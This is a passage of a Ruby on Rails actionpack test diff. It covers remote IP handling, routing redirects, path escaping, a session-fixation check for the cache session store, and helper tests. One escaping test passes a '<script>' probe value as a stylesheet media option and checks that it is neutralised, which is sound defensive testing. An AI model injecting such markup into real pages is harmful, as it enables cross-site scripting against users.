+ assert_equal 'http://example.com', url_for(:subdomain => false)
assert_equal 'http://www.ror.com', url_for(:domain => 'ror.com')
assert_equal 'http://api.ror.co.uk', url_for(:host => 'www.ror.co.uk', :subdomain => 'api', :tld_length => 2)
assert_equal 'http://www.example.com:8080', url_for(:port => 8080)
@@ -35,7 +36,7 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'REMOTE_ADDR' => '1.2.3.4',
'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
- assert_equal '1.2.3.4', request.remote_ip
+ assert_equal '3.4.5.6', request.remote_ip
request = stub_request 'REMOTE_ADDR' => '127.0.0.1',
'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
@@ -88,6 +89,11 @@ class RequestTest < ActiveSupport::TestCase
assert_equal '9.9.9.9', request.remote_ip
end
+ test "remote ip when the remote ip middleware returns nil" do
+ request = stub_request 'REMOTE_ADDR' => '127.0.0.1'
+ assert_equal '127.0.0.1', request.remote_ip
+ end
+
test "remote ip with user specified trusted proxies" do
@trusted_proxies = /^67\.205\.106\.73$/i
@@ -105,7 +111,7 @@ class RequestTest < ActiveSupport::TestCase
request = stub_request 'REMOTE_ADDR' => '67.205.106.74,172.16.0.1',
'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
- assert_equal '67.205.106.74', request.remote_ip
+ assert_equal '3.4.5.6', request.remote_ip
request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,67.205.106.73'
assert_equal 'unknown', request.remote_ip
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index 1938348375..19eee379fd 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -62,13 +62,8 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
match 'secure', :to => redirect("/secure/login")
match 'mobile', :to => redirect(:subdomain => 'mobile')
- match 'documentation', :to => redirect(:domain => 'example-documentation.com', :path => '')
- match 'new_documentation', :to => redirect(:path => '/documentation/new')
match 'super_new_documentation', :to => redirect(:host => 'super-docs.com')
- match 'stores/:name', :to => redirect(:subdomain => 'stores', :path => '/%{name}')
- match 'stores/:name(*rest)', :to => redirect(:subdomain => 'stores', :path => '/%{name}%{rest}')
-
match 'youtube_favorites/:youtube_id/:name', :to => redirect(YoutubeFavoritesRedirector)
constraints(lambda { |req| true }) do
@@ -79,7 +74,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
match 'sign_in' => "sessions#new"
match 'account/modulo/:name', :to => redirect("/%{name}s")
- match 'account/proc/:name', :to => redirect {|params| "/#{params[:name].pluralize}" }
+ match 'account/proc/:name', :to => redirect {|params, req| "/#{params[:name].pluralize}" }
match 'account/proc_req' => redirect {|params, req| "/#{req.method}" }
match 'account/google' => redirect('http://www.google.com/', :status => 302)
@@ -339,6 +334,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
scope '(:locale)', :locale => /en|pl/ do
+ get "registrations/new"
resources :descriptions
root :to => 'projects#index'
end
@@ -710,20 +706,6 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
- def test_redirect_hash_with_domain_and_path
- with_test_routes do
- get '/documentation'
- verify_redirect 'http://www.example-documentation.com'
- end
- end
-
- def test_redirect_hash_with_path
- with_test_routes do
- get '/new_documentation'
- verify_redirect 'http://www.example.com/documentation/new'
- end
- end
-
def test_redirect_hash_with_host
with_test_routes do
get '/super_new_documentation?section=top'
@@ -731,20 +713,6 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
- def test_redirect_hash_path_substitution
- with_test_routes do
- get '/stores/iernest'
- verify_redirect 'http://stores.example.com/iernest'
- end
- end
-
- def test_redirect_hash_path_substitution_with_catch_all
- with_test_routes do
- get '/stores/iernest/products'
- verify_redirect 'http://stores.example.com/iernest/products'
- end
- end
-
def test_redirect_class
with_test_routes do
get '/youtube_favorites/oHg5SJYRHA0/rick-rolld'
@@ -851,6 +819,29 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
+ # tests the use of dup in url_for
+ def test_url_for_with_no_side_effects
+ # without dup, additional (and possibly unwanted) values will be present in the options (eg. :host)
+ original_options = {:controller => 'projects', :action => 'status'}
+ options = original_options.dup
+
+ url_for options
+
+ # verify that the options passed in have not changed from the original ones
+ assert_equal original_options, options
+ end
+
+ # tests the arguments modification free version of define_hash_access
+ def test_named_route_with_no_side_effects
+ original_options = { :host => 'test.host' }
+ options = original_options.dup
+
+ profile_customer_url("customer_model", options)
+
+ # verify that the options passed in have not changed from the original ones
+ assert_equal original_options, options
+ end
+
def test_projects_status
with_test_routes do
assert_equal '/projects/status', url_for(:controller => 'projects', :action => 'status', :only_path => true)
@@ -1448,6 +1439,16 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
end
end
+ def test_nested_optional_path_shorthand
+ with_test_routes do
+ get '/registrations/new'
+ assert @request.params[:locale].nil?
+
+ get '/en/registrations/new'
+ assert 'en', @request.params[:locale]
+ end
+ end
+
def test_default_params
with_test_routes do
get '/inline_pages'
@@ -2298,6 +2299,11 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal "/forced_collision", routes_forced_collision_path
end
+ def test_redirect_argument_error
+ routes = Class.new { include ActionDispatch::Routing::Redirection }.new
+ assert_raises(ArgumentError) { routes.redirect Object.new }
+ end
+
def test_explicitly_avoiding_the_named_route
assert !respond_to?(:routes_no_collision_path)
end
@@ -2494,3 +2500,40 @@ class TestHttpMethods < ActionDispatch::IntegrationTest
end
end
end
+
+class TestUriPathEscaping < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ match '/:segment' => lambda { |env|
+ path_params = env['action_dispatch.request.path_parameters']
+ [200, { 'Content-Type' => 'text/plain' }, [path_params[:segment]]]
+ }, :as => :segment
+
+ match '/*splat' => lambda { |env|
+ path_params = env['action_dispatch.request.path_parameters']
+ [200, { 'Content-Type' => 'text/plain' }, [path_params[:splat]]]
+ }, :as => :splat
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ test 'escapes generated path segment' do
+ assert_equal '/a%20b/c+d', segment_path(:segment => 'a b/c+d')
+ end
+
+ test 'unescapes recognized path segment' do
+ get '/a%20b%2Fc+d'
+ assert_equal 'a b/c+d', @response.body
+ end
+
+ test 'escapes generated path splat' do
+ assert_equal '/a%20b/c+d', splat_path(:splat => 'a b/c+d')
+ end
+
+ test 'unescapes recognized path splat' do
+ get '/a%20b/c+d'
+ assert_equal 'a b/c+d', @response.body
+ end
+end
diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb
new file mode 100644
index 0000000000..73e056de23
--- /dev/null
+++ b/actionpack/test/dispatch/session/cache_store_test.rb
@@ -0,0 +1,181 @@
+require 'abstract_unit'
+
+class CacheStoreTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def no_session_access
+ head :ok
+ end
+
+ def set_session_value
+ session[:foo] = "bar"
+ head :ok
+ end
+
+ def set_serialized_session_value
+ session[:foo] = SessionAutoloadTest::Foo.new
+ head :ok
+ end
+
+ def get_session_value
+ render :text => "foo: #{session[:foo].inspect}"
+ end
+
+ def get_session_id
+ render :text => "#{request.session_options[:id]}"
+ end
+
+ def call_reset_session
+ session[:bar]
+ reset_session
+ session[:bar] = "baz"
+ head :ok
+ end
+
+ def rescue_action(e) raise end
+ end
+
+ def test_setting_and_getting_session_value
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: "bar"', response.body
+ end
+ end
+
+ def test_getting_nil_session_value
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ end
+ end
+
+ def test_getting_session_value_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_cookie = cookies.send(:hash_for)['_session_id']
+
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+
+ cookies << session_cookie # replace our new session_id with our old, pre-reset session_id
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from cache"
+ end
+ end
+
+ def test_getting_from_nonexistent_session
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ assert_nil cookies['_session_id'], "should only create session on write, not read"
+ end
+ end
+
+ def test_setting_session_value_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_id = cookies['_session_id']
+
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+
+ get '/get_session_id'
+ assert_response :success
+ assert_not_equal session_id, response.body
+ end
+ end
+
+ def test_getting_session_id
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_id = cookies['_session_id']
+
+ get '/get_session_id'
+ assert_response :success
+ assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
+ end
+ end
+
+ def test_deserializes_unloaded_class
+ with_test_route_set do
+ with_autoload_path "session_autoload_test" do
+ get '/set_serialized_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ end
+ with_autoload_path "session_autoload_test" do
+ get '/get_session_id'
+ assert_response :success
+ end
+ with_autoload_path "session_autoload_test" do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
+ end
+ end
+ end
+
+ def test_doesnt_write_session_cookie_if_session_id_is_already_exists
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
+ end
+ end
+
+ def test_prevents_session_fixation
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ session_id = cookies['_session_id']
+
+ reset!
+
+ get '/set_session_value', :_session_id => session_id
+ assert_response :success
+ assert_not_equal session_id, cookies['_session_id']
+ end
+ end
+
+ private
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ match ':action', :to => ::CacheStoreTest::TestController
+ end
+
+ @app = self.class.build_app(set) do |middleware|
+ cache = ActiveSupport::Cache::MemoryStore.new
+ middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => cache
+ middleware.delete "ActionDispatch::ShowExceptions"
+ end
+
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
index 301bf9c6d2..92df6967d6 100644
--- a/actionpack/test/dispatch/session/cookie_store_test.rb
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -5,7 +5,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
SessionKey = '_myapp_session'
SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33'
- Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1')
+ Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, :digest => 'SHA1')
SignedBar = Verifier.generate(:foo => "bar", :session_id => SecureRandom.hex(16))
class TestController < ActionController::Base
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
index 42f6c7f79f..90f13a3bb9 100644
--- a/actionpack/test/dispatch/show_exceptions_test.rb
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -2,32 +2,38 @@ require 'abstract_unit'
class ShowExceptionsTest < ActionDispatch::IntegrationTest
- Boomer = lambda do |env|
- req = ActionDispatch::Request.new(env)
- case req.path
- when "/not_found"
- raise ActionController::UnknownAction
- when "/runtime_error"
- raise RuntimeError
- when "/method_not_allowed"
- raise ActionController::MethodNotAllowed
- when "/not_implemented"
- raise ActionController::NotImplemented
- when "/unprocessable_entity"
- raise ActionController::InvalidAuthenticityToken
- when "/not_found_original_exception"
- raise ActionView::Template::Error.new('template', {}, AbstractController::ActionNotFound.new)
- else
- raise "puke!"
+ class Boomer
+ def initialize(detailed = false)
+ @detailed = detailed
+ end
+
+ def call(env)
+ env['action_dispatch.show_detailed_exceptions'] = @detailed
+ req = ActionDispatch::Request.new(env)
+ case req.path
+ when "/not_found"
+ raise ActionController::UnknownAction
+ when "/runtime_error"
+ raise RuntimeError
+ when "/method_not_allowed"
+ raise ActionController::MethodNotAllowed
+ when "/not_implemented"
+ raise ActionController::NotImplemented
+ when "/unprocessable_entity"
+ raise ActionController::InvalidAuthenticityToken
+ when "/not_found_original_exception"
+ raise ActionView::Template::Error.new('template', {}, AbstractController::ActionNotFound.new)
+ else
+ raise "puke!"
+ end
end
end
- ProductionApp = ActionDispatch::ShowExceptions.new(Boomer, false)
- DevelopmentApp = ActionDispatch::ShowExceptions.new(Boomer, true)
+ ProductionApp = ActionDispatch::ShowExceptions.new(Boomer.new(false))
+ DevelopmentApp = ActionDispatch::ShowExceptions.new(Boomer.new(true))
- test "rescue in public from a remote ip" do
+ test "rescue with error page when show_exceptions is false" do
@app = ProductionApp
- self.remote_addr = '208.77.188.166'
get "/", {}, {'action_dispatch.show_exceptions' => true}
assert_response 500
@@ -42,32 +48,28 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
assert_equal "", body
end
- test "rescue locally from a local request" do
- @app = ProductionApp
- ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
- self.remote_addr = ip_address
+ test "rescue with diagnostics message when show_exceptions is true" do
+ @app = DevelopmentApp
- get "/", {}, {'action_dispatch.show_exceptions' => true}
- assert_response 500
- assert_match(/puke/, body)
+ get "/", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 500
+ assert_match(/puke/, body)
- get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
- assert_response 404
- assert_match(/#{ActionController::UnknownAction.name}/, body)
+ get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 404
+ assert_match(/#{ActionController::UnknownAction.name}/, body)
- get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
- assert_response 405
- assert_match(/ActionController::MethodNotAllowed/, body)
- end
+ get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_match(/ActionController::MethodNotAllowed/, body)
end
- test "localize public rescue message" do
+ test "localize rescue error page" do
# Change locale
old_locale, I18n.locale = I18n.locale, :da
begin
@app = ProductionApp
- self.remote_addr = '208.77.188.166'
get "/", {}, {'action_dispatch.show_exceptions' => true}
assert_response 500
@@ -81,23 +83,6 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
end
end
- test "always rescue locally in development mode" do
- @app = DevelopmentApp
- self.remote_addr = '208.77.188.166'
-
- get "/", {}, {'action_dispatch.show_exceptions' => true}
- assert_response 500
- assert_match(/puke/, body)
-
- get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
- assert_response 404
- assert_match(/#{ActionController::UnknownAction.name}/, body)
-
- get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
- assert_response 405
- assert_match(/ActionController::MethodNotAllowed/, body)
- end
-
test "does not show filtered parameters" do
@app = DevelopmentApp
@@ -107,16 +92,15 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
assert_match("&quot;foo&quot;=&gt;&quot;[FILTERED]&quot;", body)
end
- test "show registered original exception for wrapped exceptions when consider_all_requests_local is false" do
+ test "show registered original exception for wrapped exceptions when show_exceptions is false" do
@app = ProductionApp
- self.remote_addr = '208.77.188.166'
get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
assert_response 404
assert_match(/404 error/, body)
end
- test "show registered original exception for wrapped exceptions when consider_all_requests_local is true" do
+ test "show registered original exception for wrapped exceptions when show_exceptions is true" do
@app = DevelopmentApp
get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
@@ -125,7 +109,7 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
end
test "show the controller name in the diagnostics template when controller name is present" do
- @app = ProductionApp
+ @app = DevelopmentApp
get("/runtime_error", {}, {
'action_dispatch.show_exceptions' => true,
'action_dispatch.request.parameters' => {
@@ -144,4 +128,18 @@ class ShowExceptionsTest < ActionDispatch::IntegrationTest
get "/", {}, {'action_dispatch.show_exceptions' => true}
assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
end
+
+ test 'uses logger from env' do
+ @app = ProductionApp
+ output = StringIO.new
+ get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => Logger.new(output)}
+ assert_match(/puke/, output.rewind && output.read)
+ end
+
+ test 'uses backtrace cleaner from env' do
+ @app = DevelopmentApp
+ cleaner = stub(:clean => ['passed backtrace cleaner'])
+ get "/", {}, {'action_dispatch.show_exceptions' => true, 'action_dispatch.backtrace_cleaner' => cleaner}
+ assert_match(/passed backtrace cleaner/, body)
+ end
end
diff --git a/actionpack/test/fixtures/comments/empty.de.html.erb b/actionpack/test/fixtures/comments/empty.de.html.erb
new file mode 100644
index 0000000000..cffd90dd26
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.de.html.erb
@@ -0,0 +1 @@
+<h1>Kein Kommentar</h1> \ No newline at end of file
diff --git a/actionpack/test/fixtures/comments/empty.html.builder b/actionpack/test/fixtures/comments/empty.html.builder
new file mode 100644
index 0000000000..2b0c7207a3
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.html.builder
@@ -0,0 +1 @@
+xml.h1 'No Comment' \ No newline at end of file
diff --git a/actionpack/test/fixtures/comments/empty.html.erb b/actionpack/test/fixtures/comments/empty.html.erb
new file mode 100644
index 0000000000..827f3861de
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.html.erb
@@ -0,0 +1 @@
+<h1>No Comment</h1> \ No newline at end of file
diff --git a/actionpack/test/fixtures/comments/empty.xml.erb b/actionpack/test/fixtures/comments/empty.xml.erb
new file mode 100644
index 0000000000..db1027cd7d
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.xml.erb
@@ -0,0 +1 @@
+<error>No Comment</error> \ No newline at end of file
diff --git a/actionpack/test/fixtures/company.rb b/actionpack/test/fixtures/company.rb
index cd39ea7898..e29978801e 100644
--- a/actionpack/test/fixtures/company.rb
+++ b/actionpack/test/fixtures/company.rb
@@ -1,10 +1,10 @@
class Company < ActiveRecord::Base
has_one :mascot
attr_protected :rating
- set_sequence_name :companies_nonstd_seq
+ self.sequence_name = :companies_nonstd_seq
validates_presence_of :name
def validate
errors.add('rating', 'rating should not be 2') if rating == 2
end
-end \ No newline at end of file
+end
diff --git a/actionpack/test/fixtures/developer.rb b/actionpack/test/fixtures/developer.rb
index c70eda34c6..dd14548fac 100644
--- a/actionpack/test/fixtures/developer.rb
+++ b/actionpack/test/fixtures/developer.rb
@@ -5,5 +5,5 @@ class Developer < ActiveRecord::Base
end
class DeVeLoPeR < ActiveRecord::Base
- set_table_name "developers"
+ self.table_name = "developers"
end
diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
index c479adb897..fa5e6bd318 100644
--- a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
+++ b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
@@ -1,2 +1,3 @@
Hello
<%= cache do %>This bit's fragment cached<% end %>
+<%= 'Ciao' %>
diff --git a/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb b/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
new file mode 100644
index 0000000000..2f21a75dd9
--- /dev/null
+++ b/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
@@ -0,0 +1,3 @@
+<%= content_tag 'p' do %>
+ <%= content_tag 'b', 'Hello' %>
+<% end %>
diff --git a/actionpack/test/fixtures/test/_label_with_block.erb b/actionpack/test/fixtures/test/_label_with_block.erb
new file mode 100644
index 0000000000..40117e594e
--- /dev/null
+++ b/actionpack/test/fixtures/test/_label_with_block.erb
@@ -0,0 +1,4 @@
+<%= label 'post', 'message' do %>
+ Message
+ <%= text_field 'post', 'message' %>
+<% end %>
diff --git a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb
index 5db0822f07..820e7db789 100644
--- a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb
+++ b/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb
@@ -1,4 +1,4 @@
Before
-<%= render :partial => "test/partial.html.erb" %>
+<%= render :partial => "test/partial" %>
<%= yield %>
After
diff --git a/actionpack/test/fixtures/test/hello,world.erb b/actionpack/test/fixtures/test/hello,world.erb
new file mode 100644
index 0000000000..bc8fa5e0ca
--- /dev/null
+++ b/actionpack/test/fixtures/test/hello,world.erb
@@ -0,0 +1 @@
+Hello w*rld! \ No newline at end of file
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
index cbef74f992..f2362714d7 100644
--- a/actionpack/test/lib/controller/fake_models.rb
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -48,26 +48,19 @@ module Quiz
end
end
-class Post < Struct.new(:title, :author_name, :body, :secret, :written_on, :cost)
+class Post < Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost)
extend ActiveModel::Naming
include ActiveModel::Conversion
extend ActiveModel::Translation
alias_method :secret?, :secret
+ alias_method :persisted?, :persisted
def initialize(*args)
super
@persisted = false
end
- def persisted=(boolean)
- @persisted = boolean
- end
-
- def persisted?
- @persisted
- end
-
attr_accessor :author
def author_attributes=(attributes); end
@@ -182,8 +175,8 @@ class HashBackedAuthor < Hash
end
module Blog
- def self._railtie
- self
+ def self.use_relative_model_naming?
+ true
end
class Post < Struct.new(:title, :id)
diff --git a/actionpack/test/template/asset_tag_helper_test.rb b/actionpack/test/template/asset_tag_helper_test.rb
index d93433deac..aa7304b3ed 100644
--- a/actionpack/test/template/asset_tag_helper_test.rb
+++ b/actionpack/test/template/asset_tag_helper_test.rb
@@ -366,6 +366,10 @@ class AssetTagHelperTest < ActionView::TestCase
assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
end
+ def test_stylesheet_link_tag_escapes_options
+ assert_dom_equal %(<link href="/file.css" media="&lt;script&gt;" rel="stylesheet" type="text/css" />), stylesheet_link_tag('/file', :media => '<script>')
+ end
+
def test_custom_stylesheet_expansions
ENV["RAILS_ASSET_ID"] = ''
ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :robbery => ["bank", "robber"]
diff --git a/actionpack/test/template/capture_helper_test.rb b/actionpack/test/template/capture_helper_test.rb
index a9157e711c..13e2d5b595 100644
--- a/actionpack/test/template/capture_helper_test.rb
+++ b/actionpack/test/template/capture_helper_test.rb
@@ -46,6 +46,42 @@ class CaptureHelperTest < ActionView::TestCase
assert_equal "bar", content_for(:bar)
end
+ def test_content_for_with_multiple_calls
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title, 'bar'
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_block
+ assert ! content_for?(:title)
+ content_for :title do
+ output_buffer << 'foo'
+ output_buffer << 'bar'
+ nil
+ end
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_with_whitespace_block
+ assert ! content_for?(:title)
+ content_for :title, 'foo'
+ content_for :title do
+ output_buffer << " \n "
+ nil
+ end
+ content_for :title, 'bar'
+ assert_equal 'foobar', content_for(:title)
+ end
+
+ def test_content_for_returns_nil_when_writing
+ assert ! content_for?(:title)
+ assert_equal nil, content_for(:title, 'foo')
+ assert_equal nil, content_for(:title) { output_buffer << 'bar'; nil }
+ assert_equal nil, content_for(:title) { output_buffer << " \n "; nil }
+ assert_equal 'foobar', content_for(:title)
+ end
+
def test_content_for_question_mark
assert ! content_for?(:title)
content_for :title, 'title'
diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb
index 3f31edd5ce..8fc78283d8 100644
--- a/actionpack/test/template/compiled_templates_test.rb
+++ b/actionpack/test/template/compiled_templates_test.rb
@@ -10,24 +10,24 @@ class CompiledTemplatesTest < Test::Unit::TestCase
end
def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
- assert_equal "one", render(:file => "test/render_file_with_locals_and_default.erb")
- assert_equal "two", render(:file => "test/render_file_with_locals_and_default.erb", :locals => { :secret => "two" })
+ assert_equal "one", render(:file => "test/render_file_with_locals_and_default")
+ assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" })
end
def test_template_changes_are_not_reflected_with_cached_templates
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", render(:file => "test/hello_world")
modify_template "test/hello_world.erb", "Goodbye world!" do
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", render(:file => "test/hello_world")
end
- assert_equal "Hello world!", render(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", render(:file => "test/hello_world")
end
def test_template_changes_are_reflected_with_uncached_templates
- assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
modify_template "test/hello_world.erb", "Goodbye world!" do
- assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world.erb")
+ assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world")
end
- assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
end
private
@@ -42,7 +42,7 @@ class CompiledTemplatesTest < Test::Unit::TestCase
def render_without_cache(*args)
path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
- view_paths = ActionView::Base.process_view_paths(path)
+ view_paths = ActionView::PathSet.new([path])
ActionView::Base.new(view_paths, {}).render(*args)
end
diff --git a/actionpack/test/template/compressors_test.rb b/actionpack/test/template/compressors_test.rb
new file mode 100644
index 0000000000..a273f15bd7
--- /dev/null
+++ b/actionpack/test/template/compressors_test.rb
@@ -0,0 +1,28 @@
+require 'abstract_unit'
+require 'sprockets/compressors'
+
+class CompressorsTest < ActiveSupport::TestCase
+ def test_register_css_compressor
+ Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor)
+ compressor = Sprockets::Compressors.registered_css_compressor(:null)
+ assert_kind_of Sprockets::NullCompressor, compressor
+ end
+
+ def test_register_js_compressor
+ Sprockets::Compressors.register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier')
+ compressor = Sprockets::Compressors.registered_js_compressor(:uglifier)
+ assert_kind_of Uglifier, compressor
+ end
+
+ def test_register_default_css_compressor
+ Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor, :default => true)
+ compressor = Sprockets::Compressors.registered_css_compressor(:default)
+ assert_kind_of Sprockets::NullCompressor, compressor
+ end
+
+ def test_register_default_js_compressor
+ Sprockets::Compressors.register_js_compressor(:null, Sprockets::NullCompressor, :default => true)
+ compressor = Sprockets::Compressors.registered_js_compressor(:default)
+ assert_kind_of Sprockets::NullCompressor, compressor
+ end
+end
diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb
index 09c53a36f0..af30ec9892 100644
--- a/actionpack/test/template/date_helper_test.rb
+++ b/actionpack/test/template/date_helper_test.rb
@@ -664,6 +664,15 @@ class DateHelperTest < ActionView::TestCase
assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
end
+ def test_select_date_with_too_big_range_between_start_year_and_end_year
+ assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+ assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) }
+ end
+
+ def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter
+ assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) }
+ end
+
def test_select_date_with_order
expected = %(<select id="date_first_month" name="date[first][month]">\n)
expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb
index 71a2c46d92..3fee366804 100644
--- a/actionpack/test/template/form_helper_test.rb
+++ b/actionpack/test/template/form_helper_test.rb
@@ -3,6 +3,8 @@ require 'controller/fake_models'
require 'active_support/core_ext/object/inclusion'
class FormHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
tests ActionView::Helpers::FormHelper
def form_for(*)
@@ -27,7 +29,13 @@ class FormHelperTest < ActionView::TestCase
:body => "Write entire text here",
:color => {
:red => "Rojo"
+ },
+ :comments => {
+ :body => "Write body here"
}
+ },
+ :tag => {
+ :value => "Tag"
}
}
}
@@ -68,6 +76,12 @@ class FormHelperTest < ActionView::TestCase
@post.secret = 1
@post.written_on = Date.new(2004, 6, 15)
+ @post.comments = []
